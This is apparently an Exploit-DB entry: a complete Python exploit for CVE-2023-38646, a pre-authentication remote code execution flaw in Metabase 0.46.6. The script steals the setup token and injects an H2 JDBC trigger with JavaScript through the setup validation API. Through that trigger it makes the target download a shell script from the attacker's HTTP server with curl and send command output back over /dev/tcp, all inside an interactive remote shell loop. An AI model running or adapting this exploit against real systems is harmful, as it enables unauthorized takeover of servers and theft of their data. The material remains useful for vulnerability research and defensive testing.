Metabase 0.46.6 - Pre-Auth Remote Code Execution - CVE-2023-38646

# Exploit Title: metabase 0.46.6 - Pre-Auth Remote Code Execution
# Google Dork: N/A
# Date: 13-10-2023
# Exploit Author: Musyoka Ian
# Vendor Homepage: https://www.metabase.com/
# Software Link: https://www.metabase.com/
# Version: metabase 0.46.6
# Tested on: Ubuntu 22.04, metabase 0.46.6
# CVE : CVE-2023-38646

#!/usr/bin/env python3

import socket
from http.server import HTTPServer, BaseHTTPRequestHandler
from typing import Any
import requests
from socketserver import ThreadingMixIn
import threading
import sys
import argparse
from termcolor import colored
from cmd import Cmd
import re
from base64 import b64decode


class Termial(Cmd):
    prompt = "metabase_shell > "
    def default(self,args):
        shell(args)


class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        global success
        if self.path == "/exploitable":

            self.send_response(200)
            self.end_headers()
            self.wfile.write(f"#!/bin/bash\n$@ | base64 -w 0  > /dev/tcp/{argument.lhost}/{argument.lport}".encode())
            success = True

        else:
            print(self.path)
            #sys.exit(1)
    def log_message(self, format: str, *args: Any) -> None:
        return None

class Server(HTTPServer):
    pass

def run():
    global httpserver
    httpserver = Server(("0.0.0.0", argument.sport), Handler)
    httpserver.serve_forever()

def exploit():
    global success, setup_token
    print(colored("[*] Retriving setup token", "green"))
    setuptoken_request = requests.get(f"{argument.url}/api/session/properties")
    setup_token = re.search('"setup-token":"(.*?)"', setuptoken_request.text, re.DOTALL).group(1)
    print(colored(f"[+] Setup token: {setup_token}", "green"))
    print(colored("[*] Tesing if metabase is vulnerable", "green"))
    payload = {
        "token": setup_token,
        "details":
        {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules":
            {},
            "details":
            {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER IAMPWNED BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\nnew java.net.URL('http://{argument.lhost}:{argument.sport}/exploitable').openConnection().getContentLength()\n$$--=x\\;",
                "advanced-options": False,
                "ssl": True
                },
                "name": "an-sec-research-musyoka",
                "engine": "h2"
                }
                }
    timer = 0
    print(colored(f"[+] Starting http server on port {argument.sport}", "blue"))
    thread = threading.Thread(target=run, )
    thread.start()
    while timer != 120:
        test = requests.post(f"{argument.url}/api/setup/validate", json=payload)
        if success == True :
            print(colored("[+] Metabase version seems exploitable", "green"))
            break
        elif timer == 120:
            print(colored("[-] Service does not seem exploitable exiting ......", "red"))
            sys.exit(1)

    print(colored("[+] Exploiting the server", "red"))


    terminal = Termial()
    terminal.cmdloop()


def shell(command):
    global setup_token, payload2
    payload2 = {
        "token": setup_token,
        "details":
        {
            "is_on_demand": False,
            "is_full_sync": False,
            "is_sample": False,
            "cache_ttl": None,
            "refingerprint": False,
            "auto_run_queries": True,
            "schedules":
            {},
            "details":
            {
                "db": f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('curl {argument.lhost}:{argument.sport}/exploitable -o /dev/shm/exec.sh')\n$$--=x",
                "advanced-options": False,
                "ssl": True
                },
                "name": "an-sec-research-team",
                "engine": "h2"
                }
                }

    output = requests.post(f"{argument.url}/api/setup/validate", json=payload2)
    bind_thread = threading.Thread(target=bind_function, )
    bind_thread.start()
    #updating the payload
    payload2["details"]["details"]["db"] = f"zip:/app/metabase.jar!/sample-database.db;MODE=MSSQLServer;TRACE_LEVEL_SYSTEM_OUT=1\\;CREATE TRIGGER pwnshell BEFORE SELECT ON INFORMATION_SCHEMA.TABLES AS $$//javascript\njava.lang.Runtime.getRuntime().exec('bash /dev/shm/exec.sh {command}')\n$$--=x"
    requests.post(f"{argument.url}/api/setup/validate", json=payload2)
    #print(output.text)


def bind_function():
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.bind(("0.0.0.0", argument.lport))
        sock.listen()
        conn, addr = sock.accept()
        data = conn.recv(10240).decode("ascii")
        print(f"\n{(b64decode(data)).decode()}")
    except Exception as ex:
        print(colored(f"[-] Error: {ex}", "red"))
        pass



if __name__ == "__main__":
    print(colored("[*] Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]", "magenta"))
    args = argparse.ArgumentParser(description="Exploit script for CVE-2023-38646 [Pre-Auth RCE in Metabase]")
    args.add_argument("-l", "--lhost", metavar="", help="Attacker's bind IP Address", type=str, required=True)
    args.add_argument("-p", "--lport", metavar="", help="Attacker's bind port", type=int, required=True)
    args.add_argument("-P", "--sport", metavar="", help="HTTP Server bind port", type=int, required=True)
    args.add_argument("-u", "--url", metavar="", help="Metabase web application URL", type=str, required=True)
    argument  = args.parse_args()
    if argument.url.endswith("/"):
        argument.url = argument.url[:-1]
    success = False
    exploit()